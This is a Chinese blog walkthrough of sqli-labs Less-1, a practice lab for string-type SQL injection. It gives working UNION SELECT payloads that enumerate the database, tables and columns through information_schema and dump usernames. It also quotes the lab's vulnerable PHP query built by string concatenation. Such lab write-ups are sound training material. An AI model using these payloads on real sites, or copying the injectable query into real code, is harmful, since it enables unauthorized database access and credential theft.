【网络安全】sqli-labs Less-1 解题详析

原创已于 2025-09-14 08:54:38 修改 · 3.6k 阅读

0 ·

CC 4.0 BY-SA版权

原创文章，禁止转载，否则保留追究法律责任的权利。

文章标签：

#安全 #web安全 #sql #数据库

于 2023-04-27 18:21:11 首次发布

Sqli-Labs靶场攻防实战专栏收录该内容

28 篇文章

订阅专栏

本文介绍了如何识别和利用字符型GET注入漏洞，包括判断注入类型、确定注入点数量、查询数据库名、表名以及字段。通过使用group_concat函数，可以一次性显示所有表名或列名。文章还展示了具体的payload示例，如使用UNIONSELECT从information_schema获取信息。

文章目录

Less-1 GET - Error based - Single quotes - String:基于错误的GET单引号字符型注入

判断注入类型

在这里插入图片描述 GET1 and 1=2仍有正常回显，说明该漏洞类型不是数字型注入。

GET1' and '1'='2没有回显，说明该漏洞类型为字符型注入。

判断注入点个数

GETid=1' order by 4 --+ 回显Unknown
在这里插入图片描述 GETid=1' order by 3 --+ 回显如下：
说明注入点个数为3个
即可构造语句如下

-1' union select 1,2,xx form xx; --+

查库名

-1' union select 1,2,database(); --+

在这里插入图片描述

查表名

Payload1:

-1' union select 1,2,table_name from information_schema.tables where table_schema='库名'; --+

实例如下：

-1' union select 1,2,table_name from information_schema.tables where table_schema='security'; --+

仅回显一个表名
在这里插入图片描述

Payload2:

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'; --+

回显所有表名
在这里插入图片描述

区别成因

查看部分源代码：

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo "<font size='5' color= '#99FF00'>";
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
	}
}

由以上可知，后端通过mysql_fetch_array()获取当前行数据，而注入语句返回的结果又是以行排序的，所以仅返回了位于首行的email表名

Group_concat

group_concat函数能将查询结果集合起来，在Payload2中，由于该函数集合了所有的表名到一行中，导致所有表名被回显。

查users表的列名

-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='表名'; --+

实例如下：

-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'; --+

在这里插入图片描述

查字段

-1' union select 1,2,group_concat(列名) from 库名.表名; --+

实例如下：

-1' union select 1,2,group_concat(username) from security.users; --+

在这里插入图片描述